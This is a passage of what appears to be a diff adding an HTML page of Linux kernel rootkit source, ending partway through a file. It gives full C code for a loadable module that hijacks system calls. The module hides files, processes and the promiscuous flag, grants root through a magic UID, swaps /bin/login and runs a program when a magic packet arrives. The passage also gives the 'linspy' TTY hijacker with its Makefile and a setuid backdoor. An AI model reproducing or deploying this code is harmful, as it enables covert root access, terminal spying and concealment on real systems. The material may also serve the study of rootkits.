|
+#include <asm/unistd.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <sys/socket.h>
|
|
|
+#include <sys/socketcall.h>
|
|
|
+#include <linux/netdevice.h>
|
|
|
+#include <linux/if.h>
|
|
|
+#include <linux/if_arp.h>
|
|
|
+#include <linux/if_ether.h>
|
|
|
+#include <linux/proc_fs.h>
|
|
|
+#include <stdio.h>
|
|
|
+#include <errno.h>
|
|
|
+#include <fcntl.h>
|
|
|
+#include <ctype.h>
|
|
|
+
|
|
|
+
|
|
|
+/* Customization section
|
|
|
+ * - RECVEXEC is the full pathname of the program to be launched when a packet
|
|
|
+ * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
|
|
|
+ * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
|
|
|
+ * to write more than execve(RECVEXEC,NULL,NULL); :)
|
|
|
+ * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
|
|
|
+ * when an execve() syscall occurs.
|
|
|
+ * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
|
|
|
+ * is made (like Halflife's code)
|
|
|
+ * - files containing MAGICNAME in their full pathname will be invisible to
|
|
|
+ * a getdents() system call.
|
|
|
+ * - processes containing MAGICNAME in their process name will be hidden of the
|
|
|
+ * procfs tree.
|
|
|
+ */
|
|
|
+#define MAGICNAME "w00w00T$!"
|
|
|
+#define MAGICUID 31337
|
|
|
+#define OLDEXEC "/bin/login"
|
|
|
+#define NEWEXEC "/.w00w00T$!/w00w00T$!login"
|
|
|
+#define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
|
|
|
+#define MAGICSIZE sizeof(MAGICNAME)+10
|
|
|
+
|
|
|
+/* old system calls vectors */
|
|
|
+int (*o_getdents) (uint, struct dirent *, uint);
|
|
|
+ssize_t(*o_readdir) (int, void *, size_t);
|
|
|
+int (*o_setuid) (uid_t);
|
|
|
+int (*o_execve) (const char *, const char *[], const char *[]);
|
|
|
+int (*o_ioctl) (int, int, unsigned long);
|
|
|
+int (*o_get_kernel_syms) (struct kernel_sym *);
|
|
|
+ssize_t(*o_read) (int, void *, size_t);
|
|
|
+int (*o_socketcall) (int, unsigned long *);
|
|
|
+/* entry points to brk() and fork() syscall. */
|
|
|
+static inline _syscall1(int, brk, void *, end_data_segment);
|
|
|
+static inline _syscall0(int, fork);
|
|
|
+static inline _syscall1(void, exit, int, status);
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+extern struct proto tcp_prot;
|
|
|
+int errno;
|
|
|
+
|
|
|
+char mtroj[] = MAGICNAME;
|
|
|
+int __NR_myexecve;
|
|
|
+int promisc;
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * String-oriented functions
|
|
|
+ * (from user-space to kernel-space or invert)
|
|
|
+ */
|
|
|
+
|
|
|
+char *strncpy_fromfs(char *dest, const char *src, int n)
|
|
|
+{
|
|
|
+ char *tmp = src;
|
|
|
+ int compt = 0;
|
|
|
+
|
|
|
+ do {
|
|
|
+ dest[compt++] = __get_user(tmp++, 1);
|
|
|
+ }
|
|
|
+ while ((dest[compt - 1] != '\0') && (compt != n));
|
|
|
+
|
|
|
+ return dest;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int myatoi(char *str)
|
|
|
+{
|
|
|
+ int res = 0;
|
|
|
+ int mul = 1;
|
|
|
+ char *ptr;
|
|
|
+
|
|
|
+ for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
|
|
|
+ if (*ptr < '0' || *ptr > '9')
|
|
|
+ return (-1);
|
|
|
+ res += (*ptr - '0') * mul;
|
|
|
+ mul *= 10;
|
|
|
+ }
|
|
|
+ return (res);
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * process hiding functions
|
|
|
+ */
|
|
|
+struct task_struct *get_task(pid_t pid)
|
|
|
+{
|
|
|
+ struct task_struct *p = current;
|
|
|
+ do {
|
|
|
+ if (p->pid == pid)
|
|
|
+ return p;
|
|
|
+ p = p->next_task;
|
|
|
+ }
|
|
|
+ while (p != current);
|
|
|
+ return NULL;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+/* the following function comes from fs/proc/array.c */
|
|
|
+static inline char *task_name(struct task_struct *p, char *buf)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+ char *name;
|
|
|
+
|
|
|
+ name = p->comm;
|
|
|
+ i = sizeof(p->comm);
|
|
|
+ do {
|
|
|
+ unsigned char c = *name;
|
|
|
+ name++;
|
|
|
+ i--;
|
|
|
+ *buf = c;
|
|
|
+ if (!c)
|
|
|
+ break;
|
|
|
+ if (c == '\\') {
|
|
|
+ buf[1] = c;
|
|
|
+ buf += 2;
|
|
|
+ continue;
|
|
|
+ }
|
|
|
+ if (c == '\n') {
|
|
|
+ buf[0] = '\\';
|
|
|
+ buf[1] = 'n';
|
|
|
+ buf += 2;
|
|
|
+ continue;
|
|
|
+ }
|
|
|
+ buf++;
|
|
|
+ }
|
|
|
+ while (i);
|
|
|
+ *buf = '\n';
|
|
|
+ return buf + 1;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+int invisible(pid_t pid)
|
|
|
+{
|
|
|
+ struct task_struct *task = get_task(pid);
|
|
|
+ char *buffer;
|
|
|
+ if (task) {
|
|
|
+ buffer = kmalloc(200, GFP_KERNEL);
|
|
|
+ memset(buffer, 0, 200);
|
|
|
+ task_name(task, buffer);
|
|
|
+ if (strstr(buffer, (char *) &mtroj)) {
|
|
|
+ kfree(buffer);
|
|
|
+ return 1;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * New system calls
|
|
|
+ */
|
|
|
+
|
|
|
+/*
|
|
|
+ * hide module symbols
|
|
|
+ */
|
|
|
+int n_get_kernel_syms(struct kernel_sym *table)
|
|
|
+{
|
|
|
+ struct kernel_sym *tb;
|
|
|
+ int compt, compt2, compt3, i, done;
|
|
|
+
|
|
|
+ compt = (*o_get_kernel_syms) (table);
|
|
|
+ if (table != NULL) {
|
|
|
+ tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
|
|
|
+ if (tb == 0) {
|
|
|
+ return compt;
|
|
|
+ }
|
|
|
+ compt2 = 0;
|
|
|
+ done = 0;
|
|
|
+ i = 0;
|
|
|
+ memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
|
|
|
+ while (!done) {
|
|
|
+ if ((tb[compt2].name)[0] == '#')
|
|
|
+ i = compt2;
|
|
|
+ if (!strcmp(tb[compt2].name, mtroj)) {
|
|
|
+ for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
|
|
|
+ if (compt3 != (compt - 1))
|
|
|
+ memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
|
|
|
+ else
|
|
|
+ compt = i;
|
|
|
+ done++;
|
|
|
+ }
|
|
|
+ compt2++;
|
|
|
+ if (compt2 == compt)
|
|
|
+ done++;
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
|
|
|
+ kfree(tb);
|
|
|
+ }
|
|
|
+ return compt;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * how it works:
|
|
|
+ * I need to allocate user memory. To do that, I'll do exactly as malloc() does
|
|
|
+ * it (changing the break value).
|
|
|
+ */
|
|
|
+int my_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ long __res;
|
|
|
+ __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
|
|
|
+ return (int) __res;
|
|
|
+}
|
|
|
+
|
|
|
+int n_execve(const char *filename, const char *argv[], const char *envp[])
|
|
|
+{
|
|
|
+ char *test;
|
|
|
+ int ret, tmp;
|
|
|
+ char *truc = OLDEXEC;
|
|
|
+ char *nouveau = NEWEXEC;
|
|
|
+ unsigned long mmm;
|
|
|
+
|
|
|
+ test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
|
|
|
+ (void) strncpy_fromfs(test, filename, strlen(truc));
|
|
|
+ test[strlen(truc)] = '\0';
|
|
|
+ if (!strcmp(test, truc)) {
|
|
|
+ kfree(test);
|
|
|
+ mmm = current->mm->brk;
|
|
|
+ ret = brk((void *) (mmm + 256));
|
|
|
+ if (ret < 0)
|
|
|
+ return ret;
|
|
|
+ memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
|
|
|
+ ret = my_execve((char *) (mmm + 2), argv, envp);
|
|
|
+ tmp = brk((void *) mmm);
|
|
|
+ } else {
|
|
|
+ kfree(test);
|
|
|
+ ret = my_execve(filename, argv, envp);
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
|
|
|
+ * If we reset the PROMISC flag when the trojan is already running, then it
|
|
|
+ * won't hide it anymore (needed otherwise you'd just have to do an
|
|
|
+ * "ifconfig eth0 +promisc" to find the trojan).
|
|
|
+ */
|
|
|
+int n_ioctl(int d, int request, unsigned long arg)
|
|
|
+{
|
|
|
+ int tmp;
|
|
|
+ struct ifreq ifr;
|
|
|
+
|
|
|
+ tmp = (*o_ioctl) (d, request, arg);
|
|
|
+ if (request == SIOCGIFFLAGS && !promisc) {
|
|
|
+ memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
|
|
|
+ ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
|
|
|
+ memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
|
|
|
+ } else if (request == SIOCSIFFLAGS) {
|
|
|
+ memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
|
|
|
+ if (ifr.ifr_flags & IFF_PROMISC)
|
|
|
+ promisc = 1;
|
|
|
+ else if (!(ifr.ifr_flags & IFF_PROMISC))
|
|
|
+ promisc = 0;
|
|
|
+ }
|
|
|
+ return tmp;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * trojan setMAGICUID() system call.
|
|
|
+ */
|
|
|
+int n_setuid(uid_t uid)
|
|
|
+{
|
|
|
+ int tmp;
|
|
|
+
|
|
|
+ if (uid == MAGICUID) {
|
|
|
+ current->uid = 0;
|
|
|
+ current->euid = 0;
|
|
|
+ current->gid = 0;
|
|
|
+ current->egid = 0;
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ tmp = (*o_setuid) (uid);
|
|
|
+ return tmp;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * trojan getdents() system call.
|
|
|
+ */
|
|
|
+int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
|
|
|
+{
|
|
|
+ unsigned int tmp, n;
|
|
|
+ int t, proc = 0;
|
|
|
+ struct inode *dinode;
|
|
|
+ struct dirent *dirp2, *dirp3;
|
|
|
+
|
|
|
+ tmp = (*o_getdents) (fd, dirp, count);
|
|
|
+
|
|
|
+#ifdef __LINUX_DCACHE_H
|
|
|
+ dinode = current->files->fd[fd]->f_dentry->d_inode;
|
|
|
+#else
|
|
|
+ dinode = current->files->fd[fd]->f_inode;
|
|
|
+#endif
|
|
|
+
|
|
|
+ if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
|
|
|
+ proc = 1;
|
|
|
+ if (tmp > 0) {
|
|
|
+ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(dirp2, dirp, tmp);
|
|
|
+ dirp3 = dirp2;
|
|
|
+ t = tmp;
|
|
|
+ while (t > 0) {
|
|
|
+ n = dirp3->d_reclen;
|
|
|
+ t -= n;
|
|
|
+ if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
|
|
|
+ ||(proc && invisible(myatoi(dirp3->d_name)))) {
|
|
|
+ if (t != 0)
|
|
|
+ memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
|
|
|
+ else
|
|
|
+ dirp3->d_off = 1024;
|
|
|
+ tmp -= n;
|
|
|
+ }
|
|
|
+ if (dirp3->d_reclen == 0) {
|
|
|
+ /*
|
|
|
+ * workaround for some shitty fs drivers that do not properly
|
|
|
+ * feature the getdents syscall.
|
|
|
+ */
|
|
|
+ tmp -= t;
|
|
|
+ t = 0;
|
|
|
+ }
|
|
|
+ if (t != 0)
|
|
|
+ dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
|
|
|
+
|
|
|
+
|
|
|
+ }
|
|
|
+ memcpy_tofs(dirp, dirp2, tmp);
|
|
|
+ kfree(dirp2);
|
|
|
+ }
|
|
|
+ return tmp;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * Trojan socketcall system call
|
|
|
+ * executes a given binary when a packet containing the magic word is received.
|
|
|
+ * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
|
|
|
+ */
|
|
|
+
|
|
|
+int n_socketcall(int call, unsigned long *args)
|
|
|
+{
|
|
|
+ int ret, ret2, compt;
|
|
|
+ char *t = RECVEXEC;
|
|
|
+ unsigned long *sargs = args;
|
|
|
+ unsigned long a0, a1, mmm;
|
|
|
+ void *buf;
|
|
|
+
|
|
|
+ ret = (*o_socketcall) (call, args);
|
|
|
+ if (ret == MAGICSIZE && call == SYS_RECVFROM) {
|
|
|
+ a0 = get_user(sargs);
|
|
|
+ a1 = get_user(sargs + 1);
|
|
|
+ buf = kmalloc(ret, GFP_KERNEL);
|
|
|
+ memcpy_fromfs(buf, (void *) a1, ret);
|
|
|
+ for (compt = 0; compt < ret; compt++)
|
|
|
+ if (((char *) (buf))[compt] == 0)
|
|
|
+ ((char *) (buf))[compt] = 1;
|
|
|
+ if (strstr(buf, mtroj)) {
|
|
|
+ kfree(buf);
|
|
|
+ ret2 = fork();
|
|
|
+ if (ret2 == 0) {
|
|
|
+ mmm = current->mm->brk;
|
|
|
+ ret2 = brk((void *) (mmm + 256));
|
|
|
+ memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
|
|
|
+/* Hope the execve has been successfull otherwise you'll have 2 copies of the
|
|
|
+ master process in the ps list :] */
|
|
|
+ ret2 = my_execve((char *) mmm + 2, NULL, NULL);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/*
|
|
|
+ * module initialization stuff.
|
|
|
+ */
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+/* module list cleaning */
|
|
|
+/* would need to make a clean search of the right register
|
|
|
+ * in the function prologue, since gcc may not always put
|
|
|
+ * struct module *mp in %ebx
|
|
|
+ *
|
|
|
+ * Try %ebx, %edi, %ebp, well, every register actually :)
|
|
|
+ */
|
|
|
+ register struct module *mp asm("%ebx");
|
|
|
+ *(char *) (mp->name) = 0;
|
|
|
+ mp->size = 0;
|
|
|
+ mp->ref = 0;
|
|
|
+/*
|
|
|
+ * Make it unremovable
|
|
|
+ */
|
|
|
+/* MOD_INC_USE_COUNT;
|
|
|
+ */
|
|
|
+ o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
|
|
|
+ sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
|
|
|
+
|
|
|
+ o_getdents = sys_call_table[SYS_getdents];
|
|
|
+ sys_call_table[SYS_getdents] = (void *) n_getdents;
|
|
|
+
|
|
|
+ o_setuid = sys_call_table[SYS_setuid];
|
|
|
+ sys_call_table[SYS_setuid] = (void *) n_setuid;
|
|
|
+
|
|
|
+ __NR_myexecve = 164;
|
|
|
+ while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
|
|
+ __NR_myexecve--;
|
|
|
+ o_execve = sys_call_table[SYS_execve];
|
|
|
+ if (__NR_myexecve != 0) {
|
|
|
+ sys_call_table[__NR_myexecve] = o_execve;
|
|
|
+ sys_call_table[SYS_execve] = (void *) n_execve;
|
|
|
+ }
|
|
|
+ promisc = 0;
|
|
|
+ o_ioctl = sys_call_table[SYS_ioctl];
|
|
|
+ sys_call_table[SYS_ioctl] = (void *) n_ioctl;
|
|
|
+
|
|
|
+ o_socketcall = sys_call_table[SYS_socketcall];
|
|
|
+ sys_call_table[SYS_socketcall] = (void *) n_socketcall;
|
|
|
+ return 0;
|
|
|
+
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
|
|
|
+ sys_call_table[SYS_getdents] = o_getdents;
|
|
|
+ sys_call_table[SYS_setuid] = o_setuid;
|
|
|
+ sys_call_table[SYS_socketcall] = o_socketcall;
|
|
|
+
|
|
|
+ if (__NR_myexecve != 0)
|
|
|
+ sys_call_table[__NR_myexecve] = 0;
|
|
|
+ sys_call_table[SYS_execve] = o_execve;
|
|
|
+
|
|
|
+ sys_call_table[SYS_ioctl] = o_ioctl;
|
|
|
+}
|
|
|
+<-->
|
|
|
+
|
|
|
+----[ EOF
|
|
|
+</xmp>
|
|
|
+
|
|
|
+<H3><A NAME="A-d"></A>LKM TTY hijacking</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : linspy<br>
|
|
|
+<b>AUTHOR</b> : <A HREF="mailto:halflife@infonexus.com">halflife</a><br>
|
|
|
+<b>DESCRIPTION</b> : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the
|
|
|
+ Linux Kernel for Fun and Profit'). It is a very nice TTY
|
|
|
+ hijacker working the way I outline in II.7. This module
|
|
|
+ uses its own character device for control / and logging.<br>
|
|
|
+<b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
|
|
|
+
|
|
|
+
|
|
|
+<xmp>
|
|
|
+<++> linspy/Makefile
|
|
|
+CONFIG_KERNELD=-DCONFIG_KERNELD
|
|
|
+CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
|
|
|
+CC=gcc
|
|
|
+# this is the name of the device you have (or will) made with mknod
|
|
|
+DN = '-DDEVICE_NAME="/dev/ltap"'
|
|
|
+# 1.2.x need this to compile, comment out on 1.3+ kernels
|
|
|
+V = #-DNEED_VERSION
|
|
|
+MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
|
|
|
+
|
|
|
+all: linspy ltread setuid
|
|
|
+
|
|
|
+linspy: linspy.c /usr/include/linux/version.h
|
|
|
+ $(CC) $(MODCFLAGS) -c linspy.c
|
|
|
+
|
|
|
+ltread:
|
|
|
+ $(CC) $(DN) -o ltread ltread.c
|
|
|
+
|
|
|
+clean:
|
|
|
+ rm *.o ltread
|
|
|
+
|
|
|
+setuid: hacked_setuid.c /usr/include/linux/version.h
|
|
|
+ $(CC) $(MODCFLAGS) -c hacked_setuid.c
|
|
|
+
|
|
|
+<--> end Makefile
|
|
|
+<++> linspy/hacked_setuid.c
|
|
|
+int errno;
|
|
|
+#include <linux/sched.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/errno.h>
|
|
|
+#include <linux/sched.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <linux/times.h>
|
|
|
+#include <linux/utsname.h>
|
|
|
+#include <linux/param.h>
|
|
|
+#include <linux/resource.h>
|
|
|
+#include <linux/signal.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/ptrace.h>
|
|
|
+#include <linux/stat.h>
|
|
|
+#include <linux/mman.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <asm/segment.h>
|
|
|
+#include <asm/io.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/version.h>
|
|
|
+#include <errno.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <string.h>
|
|
|
+#include <asm/string.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <sys/sysmacros.h>
|
|
|
+#ifdef NEED_VERSION
|
|
|
+static char kernel_version[] = UTS_RELEASE;
|
|
|
+#endif
|
|
|
+static inline _syscall1(int, setuid, uid_t, uid);
|
|
|
+extern void *sys_call_table[];
|
|
|
+void *original_setuid;
|
|
|
+extern int hacked_setuid(uid_t uid)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+ if(uid == 4755)
|
|
|
+ {
|
|
|
+ current->uid = current->euid = current->gid = current->egid = 0;
|
|
|
+ return 0;
|
|
|
+ }
|
|
|
+ sys_call_table[SYS_setuid] = original_setuid;
|
|
|
+ i = setuid(uid);
|
|
|
+ sys_call_table[SYS_setuid] = hacked_setuid;
|
|
|
+ if(i == -1) return -errno;
|
|
|
+ else return i;
|
|
|
+}
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ original_setuid = sys_call_table[SYS_setuid];
|
|
|
+ sys_call_table[SYS_setuid] = hacked_setuid;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ sys_call_table[SYS_setuid] = original_setuid;
|
|
|
+}
|
|
|
+<++> linspy/linspy.c
|
|
|
+int errno;
|
|
|
+#include <linux/tty.h>
|
|
|
+#include <linux/sched.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/errno.h>
|
|
|
+#include <linux/sched.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <linux/times.h>
|
|
|
+#include <linux/utsname.h>
|
|
|
+#include <linux/param.h>
|
|
|
+#include <linux/resource.h>
|
|
|
+#include <linux/signal.h>
|
|
|
+#include <linux/string.h>
|
|
|
+#include <linux/ptrace.h>
|
|
|
+#include <linux/stat.h>
|
|
|
+#include <linux/mman.h>
|
|
|
+#include <linux/mm.h>
|
|
|
+#include <asm/segment.h>
|
|
|
+#include <asm/io.h>
|
|
|
+#ifdef MODULE
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/version.h>
|
|
|
+#endif
|
|
|
+#include <errno.h>
|
|
|
+#include <asm/segment.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <string.h>
|
|
|
+#include <asm/string.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <sys/sysmacros.h>
|
|
|
+#include <linux/vt.h>
|
|
|
+
|
|
|
+/* set the version information, if needed */
|
|
|
+#ifdef NEED_VERSION
|
|
|
+static char kernel_version[] = UTS_RELEASE;
|
|
|
+#endif
|
|
|
+
|
|
|
+#ifndef MIN
|
|
|
+#define MIN(a,b) ((a) < (b) ? (a) : (b))
|
|
|
+#endif
|
|
|
+
|
|
|
+/* ring buffer info */
|
|
|
+
|
|
|
+#define BUFFERSZ 2048
|
|
|
+char buffer[BUFFERSZ];
|
|
|
+int queue_head = 0;
|
|
|
+int queue_tail = 0;
|
|
|
+
|
|
|
+/* taken_over indicates if the victim can see any output */
|
|
|
+int taken_over = 0;
|
|
|
+
|
|
|
+static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+/* device info for the linspy device, and the device we are watching */
|
|
|
+static int linspy_major = 40;
|
|
|
+int tty_minor = -1;
|
|
|
+int tty_major = 4;
|
|
|
+
|
|
|
+/* address of original write(2) syscall */
|
|
|
+void *original_write;
|
|
|
+
|
|
|
+void save_write(char *, size_t);
|
|
|
+
|
|
|
+
|
|
|
+int out_queue(void)
|
|
|
+{
|
|
|
+ int c;
|
|
|
+ if(queue_head == queue_tail) return -1;
|
|
|
+ c = buffer[queue_head];
|
|
|
+ queue_head++;
|
|
|
+ if(queue_head == BUFFERSZ) queue_head=0;
|
|
|
+ return c;
|
|
|
+}
|
|
|
+
|
|
|
+int in_queue(int ch)
|
|
|
+{
|
|
|
+ if((queue_tail + 1) == queue_head) return 0;
|
|
|
+ buffer[queue_tail] = ch;
|
|
|
+ queue_tail++;
|
|
|
+ if(queue_tail == BUFFERSZ) queue_tail=0;
|
|
|
+ return 1;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/* check if it is the tty we are looking for */
|
|
|
+int is_fd_tty(int fd)
|
|
|
+{
|
|
|
+ struct file *f=NULL;
|
|
|
+ struct inode *inode=NULL;
|
|
|
+ int mymajor=0;
|
|
|
+ int myminor=0;
|
|
|
+
|
|
|
+ if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
|
|
|
+ return 0;
|
|
|
+ mymajor = major(inode->i_rdev);
|
|
|
+ myminor = minor(inode->i_rdev);
|
|
|
+ if(mymajor != tty_major) return 0;
|
|
|
+ if(myminor != tty_minor) return 0;
|
|
|
+ return 1;
|
|
|
+}
|
|
|
+
|
|
|
+/* this is the new write(2) replacement call */
|
|
|
+extern int new_write(int fd, char *buf, size_t count)
|
|
|
+{
|
|
|
+ int r;
|
|
|
+ if(is_fd_tty(fd))
|
|
|
+ {
|
|
|
+ if(count > 0)
|
|
|
+ save_write(buf, count);
|
|
|
+ if(taken_over) return count;
|
|
|
+ }
|
|
|
+ sys_call_table[SYS_write] = original_write;
|
|
|
+ r = write(fd, buf, count);
|
|
|
+ sys_call_table[SYS_write] = new_write;
|
|
|
+ if(r == -1) return -errno;
|
|
|
+ else return r;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+/* save data from the write(2) call into the buffer */
|
|
|
+void save_write(char *buf, size_t count)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+ for(i=0;i < count;i++)
|
|
|
+ in_queue(get_fs_byte(buf+i));
|
|
|
+}
|
|
|
+
|
|
|
+/* read from the ltap device - return data from queue */
|
|
|
+static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
|
|
|
+{
|
|
|
+ int i;
|
|
|
+ int c;
|
|
|
+ int cnt=0;
|
|
|
+ if(current->euid != 0) return 0;
|
|
|
+ for(i=0;i < count;i++)
|
|
|
+ {
|
|
|
+ c = out_queue();
|
|
|
+ if(c < 0) break;
|
|
|
+ cnt++;
|
|
|
+ put_fs_byte(c, buf+i);
|
|
|
+ }
|
|
|
+ return cnt;
|
|
|
+}
|
|
|
+
|
|
|
+/* open the ltap device */
|
|
|
+static int linspy_open(struct inode *in, struct file *fi)
|
|
|
+{
|
|
|
+ if(current->euid != 0) return -EIO;
|
|
|
+ MOD_INC_USE_COUNT;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/* close the ltap device */
|
|
|
+static void linspy_close(struct inode *in, struct file *fi)
|
|
|
+{
|
|
|
+ taken_over=0;
|
|
|
+ tty_minor = -1;
|
|
|
+ MOD_DEC_USE_COUNT;
|
|
|
+}
|
|
|
+
|
|
|
+/* some ioctl operations */
|
|
|
+static int
|
|
|
+linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
|
|
|
+{
|
|
|
+#define LS_SETMAJOR 0
|
|
|
+#define LS_SETMINOR 1
|
|
|
+#define LS_FLUSHBUF 2
|
|
|
+#define LS_TOGGLE 3
|
|
|
+
|
|
|
+ if(current->euid != 0) return -EIO;
|
|
|
+ switch(cmd)
|
|
|
+ {
|
|
|
+ case LS_SETMAJOR:
|
|
|
+ tty_major = args;
|
|
|
+ queue_head = 0;
|
|
|
+ queue_tail = 0;
|
|
|
+ break;
|
|
|
+ case LS_SETMINOR:
|
|
|
+ tty_minor = args;
|
|
|
+ queue_head = 0;
|
|
|
+ queue_tail = 0;
|
|
|
+ break;
|
|
|
+ case LS_FLUSHBUF:
|
|
|
+ queue_head=0;
|
|
|
+ queue_tail=0;
|
|
|
+ break;
|
|
|
+ case LS_TOGGLE:
|
|
|
+ if(taken_over) taken_over=0;
|
|
|
+ else taken_over=1;
|
|
|
+ break;
|
|
|
+ default:
|
|
|
+ return 1;
|
|
|
+ }
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+static struct file_operations linspy = {
|
|
|
+NULL,
|
|
|
+linspy_read,
|
|
|
+NULL,
|
|
|
+NULL,
|
|
|
+NULL,
|
|
|
+linspy_ioctl,
|
|
|
+NULL,
|
|
|
+linspy_open,
|
|
|
+linspy_close,
|
|
|
+NULL
|
|
|
+};
|
|
|
+
|
|
|
+
|
|
|
+/* init the loadable module */
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ original_write = sys_call_table[SYS_write];
|
|
|
+ sys_call_table[SYS_write] = new_write;
|
|
|
+ if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+/* cleanup module before being removed */
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ sys_call_table[SYS_write] = original_write;
|
|
|
+ unregister_chrdev(linspy_major, "linspy");
|
|
|
+}
|
|
|
+<--> end linspy.c
|
|
|
+<++> linspy/ltread.c
|
|
|
+#include <stdio.h>
|
|
|
+#include <stdlib.h>
|
|
|
+#include <unistd.h>
|
|
|
+#include <termios.h>
|
|
|
+#include <string.h>
|
|
|
+#include <fcntl.h>
|
|
|
+#include <signal.h>
|
|
|
+#include <sys/types.h>
|
|
|
